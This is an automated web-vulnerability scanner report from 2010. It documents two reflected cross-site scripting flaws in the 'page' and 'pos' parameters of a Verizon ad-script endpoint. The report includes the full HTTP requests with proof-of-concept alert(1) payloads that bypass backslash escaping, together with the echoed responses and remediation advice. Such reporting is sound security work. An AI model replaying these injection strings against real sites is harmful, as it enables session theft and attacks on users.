Report generated by Hoyt LLC at Fri Nov 19 19:34:45 CST 2010.


Contents

1. Cross-site scripting (reflected)



1.1. http://syndicate.verizon.net/ads/js.ashx [page parameter]

1.2. http://syndicate.verizon.net/ads/js.ashx [pos parameter]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://syndicate.verizon.net/ads/js.ashx [page parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://syndicate.verizon.net
Path:   /ads/js.ashx

Issue detail


Contents

Loading

The value of the page request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ca72\'%3balert(1)//bbca0934e38 was submitted in the page parameter. This input was echoed as 6ca72\\';alert(1)//bbca0934e38 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /ads/js.ashx?page=vznewsroom.net/homepage.html6ca72\'%3balert(1)//bbca0934e38&pos=Top1,x20,x21,x37,x38,x48,x49,x50,Right1 HTTP/1.1
Accept: */*
Referer: http://www.verizon.net/newsroom/portals/newsroom.portal
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: syndicate.verizon.net
Proxy-Connection: Keep-Alive
Pragma: no-cache

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 2442
Date: Sat, 20 Nov 2010 01:34:44 GMT
Connection: close

//Copyright (c) 2000-2003 by 24/7 Real Media, Inc. ALL RIGHTS RESERVED. 3/13/2008
//New changes made on 06/25 and pushed to fuat on 06/25
//configuration
OAS_url = 'http://oascentral.verizononline.com/RealMedia/ads/';
OAS_sitepage = 'vznewsroom.net/homepage.html6ca72\\';alert(1)//bbca0934e38';
OAS_listpos = 'Top1,x20,x21,x37,x38,x48,x49,x50,Right1';
OAS_query = 'search=';
OAS_target = '_blank';
OAS_RegLocurl = 'http://syndicate.verizon.net/ads/regionlocator.ashx';
OAS_SynHandlerurl =
...[SNIP]...

1.2. http://syndicate.verizon.net/ads/js.ashx [pos parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://syndicate.verizon.net
Path:   /ads/js.ashx

Issue detail

The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e4c6c\'%3balert(1)//dc500af93ec was submitted in the pos parameter. This input was echoed as e4c6c\\';alert(1)//dc500af93ec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /ads/js.ashx?page=vznewsroom.net/homepage.html&pos=Top1,x20,x21,x37,x38,x48,x49,x50,Right1e4c6c\'%3balert(1)//dc500af93ec HTTP/1.1
Accept: */*
Referer: http://www.verizon.net/newsroom/portals/newsroom.portal
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: syndicate.verizon.net
Proxy-Connection: Keep-Alive
Pragma: no-cache

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 2442
Date: Sat, 20 Nov 2010 01:34:49 GMT
Connection: close

//Copyright (c) 2000-2003 by 24/7 Real Media, Inc. ALL RIGHTS RESERVED. 3/13/2008
//New changes made on 06/25 and pushed to fuat on 06/25
//configuration
OAS_url = 'http://oascentral.verizononline.com/RealMedia/ads/';
OAS_sitepage = 'vznewsroom.net/homepage.html';
OAS_listpos = 'Top1,x20,x21,x37,x38,x48,x49,x50,Right1e4c6c\\';alert(1)//dc500af93ec';
OAS_query = 'search=';
OAS_target = '_blank';
OAS_RegLocurl = 'http://syndicate.verizon.net/ads/regionlocator.ashx';
OAS_SynHandlerurl = 'http://syndicate.verizon.net/ads/scripthandler.ashx?sour
...[SNIP]...

Report generated by Hoyt LLC at Fri Nov 19 19:34:45 CST 2010.